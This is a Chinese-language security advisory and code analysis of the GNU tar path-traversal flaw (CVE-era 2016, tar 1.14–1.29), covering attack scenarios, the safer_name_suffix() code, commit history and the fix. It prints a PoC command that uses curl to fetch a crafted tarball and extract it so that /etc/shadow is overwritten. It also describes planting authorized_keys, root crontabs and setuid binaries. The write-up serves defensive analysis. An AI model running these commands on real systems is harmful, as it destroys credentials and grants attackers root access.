Author: LG (知道創宇404安全實驗室)

Date: 2016-11-09

漏洞簡介

GNU tar文檔管理命令是linux系統下常用的一個打包、壓縮的命令。經CSS(FSC1V Cyber Security Services)團隊的研究員Harry Sintonen研究發現,tar命令在提取路徑時能夠被繞過導致在某些情況下文件被覆蓋。在一些特定的場景下,利用此漏洞甚至可導致遠程代碼執行。

漏洞影響范圍

從GNU tar 1.14 to 1.29 (包含1.29) 影響包括Red Hat, Alphine Linux,Red Star OS以及其他所有使用GNU tar的Linux系統。

漏洞細節

攻擊者利用該漏洞,構造一個特殊的tar包。當受害者使用tar命令解壓時,受害者指定的目標路徑可被繞過,tar包內的文件與目錄就被解壓到攻擊者指定的位置。

具體攻擊場景

以下為漏洞發現者提供的實際攻擊場景 1.攻擊者可以用這種手段誘使用戶替換一些重要的文件,例如 .ssh/authorized_keys , .bashrc , .bash_logout , .profile , .subversion.anyconnect

  user@host:~$ dpkg --fsys-tarfile evil.deb | tar -xf - \
  --wildcards 'blurf*'
  tar: Removing leading `blurf/../' from member names
  user@host:~$ cat .ssh/authorized_keys
  ssh-rsa AAAAB3...nU= mrrobot@fsociety
  user@host:~$

2.有一些從web應用或者其它類似來源自動解壓文件的腳本,這些腳本一般會以setuid root權限執行,通常這類腳本的解壓命令如下: #tar -C / -zxf /tmp/tmp.tgz etc/application var/chroot/application/etc

在這種情況下,攻擊者可以重寫 /var/spoon/cron/crontabs/root 以獲取root身份的代碼執行能力; 也可以將可能被root身份執行的二進制文件替換成一個有后門的版本; 或者投放一個setuid root的二進制文件,等待被管理員執行,使攻擊者有機會獲取root權限。

3.以root身份執行解壓命令也可能被攻擊 。例如上文中提到覆寫 /etc/shadow 的例子

如果--exclude規則與--anchored選項同時使用,那么即使手動加了--exclude規則也沒有用,例如:

tar -C / -xvf tar-poc.tar --anchored --exclude etc/shadow 在兩種情況下,攻擊者都成功地把/etc/test替換成了任意內容。

不過,在實際利用這個漏洞時,攻擊者需要首先知道一些特定的前導信息,例如解壓命令執行時實際在命令行下指定的路徑名,畢竟在構造攻擊tar包時“../”序列之前的路徑前綴需要符合tar命令中所輸入的路徑,攻擊才能奏效。

代碼分析

根據漏洞發現者的分析,在lib/paxnames.c文件中,有一個safer_name_suffix()函數,這個函數取代了1.13版本的檢查機制。

/* Return a safer suffix of FILE_NAME, or "." if it has no safer
   suffix.  Check for fully specified file names and other atrocities.
   Warn the user if we do not return NAME.  If LINK_TARGET is 1,
   FILE_NAME is the target of a hard link, not a member name.
   If ABSOLUTE_NAMES is 0, strip filesystem prefix from the file name. */

char *
safer_name_suffix (char const *file_name, bool link_target,
           bool absolute_names)
{
  char const *p;
  if (absolute_names)
    p = file_name;
  else
    {
      /* Skip file system prefixes, leading file name components that contain
     "..", and leading slashes.  */

      size_t prefix_len = FILE_SYSTEM_PREFIX_LEN (file_name);

      for (p = file_name + prefix_len; *p; )
    {
          if (p[0] == '.' && p[1] == '.' && (ISSLASH (p[2]) || !p[2]))
        prefix_len = p + 2 - file_name;
      do
        {
          char c = *p++;
          if (ISSLASH (c))
        break;
        }
      while (*p);
    }
      for (p = file_name + prefix_len; ISSLASH (*p); p++)
    continue;
      prefix_len = p - file_name;
      if (prefix_len)
    {
      const char *prefix;
      if (hash_string_insert_prefix (&prefix_table[link_target], file_name,
                     prefix_len, &prefix))
        {
          static char const *const diagnostic[] =
          {
        N_("Removing leading `%s' from member names"),
        N_("Removing leading `%s' from hard link targets")
          };
          WARN ((0, 0, _(diagnostic[link_target]), prefix));
        }
    }
    }
    //...
    return p ;

從代碼注釋可以看出,如果absolute_names變量為1,將file_name賦值給p繼續.反之若為0則將文件名中文件系統的前綴給去掉,并且也會對file_name進行一些安全檢查 。

因此,當tar解包時若文件名中包含“../”,safer_name_suffix函數會刪除"../"及其之前的部分,將其與解壓目錄路徑變為相對關系。這么做的目的是在兼顧文件名的安全性時保證文件的提取,而不是之前版本中改動的跳過含有惡意文件名的文件。在經過長達13年的應用后,這個漏洞終于被Harry Sintonen發現并公布出來。

于是,筆者研究了這個漏洞相關的發展歷史。 tar所有版本下載鏈接 發現:

  • tar通過src/extarct.c提取文件
  • extract.c Revision 1.35前未加入安全檢測,可以通過“../”字符串直接繞過解壓路徑問題,并將文件寫到任意位置
  • extract.c Revision 1.35加入安全檢測,會警告壓縮文件文件名中存在“..”字符串,并且會跳過不去處理這些文件
  • extract.c Revision 1.47引入safer_name_suffix函數
  • tar 1.16版本后,extract.c文件代碼重構,在lib/paxnames.c文件中定義safer_name_suffix函數

然后筆者繼續深入,通過tar官網extract.c文件更新列表對比,從源代碼分析tar的安全檢測行為。

1999/12/13 commit 前后對比

Revision 1.35官方tag中有一條:

++(extract_archive): By default, warn about ".." in member names, and skip them.++

即Revision 1.35加入了(extract_archive):默認情況下,在成員名稱中警告“..”,并跳過它們

上圖中,綠色代碼區的功能就填補了之前安全檢測的空白。它首先遍歷CURRENT_FILE_NAME,如果存在".."就會警告"Member name contains`..'",然后跳過這些文件,不去處理它們。而左邊的灰色空白區域表明之前的版本缺少安全檢測,"../"字符串就能繞過解壓路徑將文件寫到任意位置。

2003/07/05 commit 前后對比

在Revision 1.47官方tag中:

++(extract_archive): Use safer_name_suffix rather than rolling our own.++ 這就是漏洞初始出現的位置了。

通過代碼對比我們可以看到,更新的版本使用safer_name_suffix 函數來替代了開發者自己寫的規則。

漏洞檢測方法

方法一:漏洞發現者給出了示例PoC,用戶可用其自檢。 (該方法會覆蓋用戶帳號密碼,導致root用戶密碼為空,建議使用實驗環境測試或者采用方法二)

curl https://sintonen.fi/advisories/tar-poc.tar |     tar xv etc/motd
cat etc/shadow

示例poc

示例poc中含有一個文件shadow,路徑為etc/motd/../etc/shadow。在根目錄下解壓該包,由于漏洞的影響,"../"前面的內容給去掉了,路徑文件名只剩下etc/shadow,原有etc/shadow文件就被其覆蓋了。

方法二: 訪問https://sintonen.fi/advisories/tar-poc.tar 下載測試tar包后在提取前重命名tar包內shadow文件名,如重命名為test。然后運行如下命令: sudo -s tar -C / -xvf tar-poc.tar etc/motd 查看etc目錄下,若生成了test文件,證明漏洞存在。

漏洞修復補丁

官方補丁地址 GNU tar修復了該漏洞,將安全檢測機制重新替換回了extract.c Revision 1.35的規則。

漏洞利用分析

在實際場景中,此漏洞的利用條件比較苛刻。

參考鏈接

[0] https://www.seebug.org/vuldb/ssvid-92524

[1]https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=842339

[2]https://sintonen.fi/advisories/tar-extract-pathname-bypass.proper.txt

[3]https://sintonen.fi/advisories/tar-extract-pathname-bypass.patch

[4]https://www.gnu.org/software/tar/

[5]http://cvs.savannah.gnu.org/viewvc/tar/tar/src/extract.c?view=log&pathrev=release_1_15_1#rev1.47


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/103/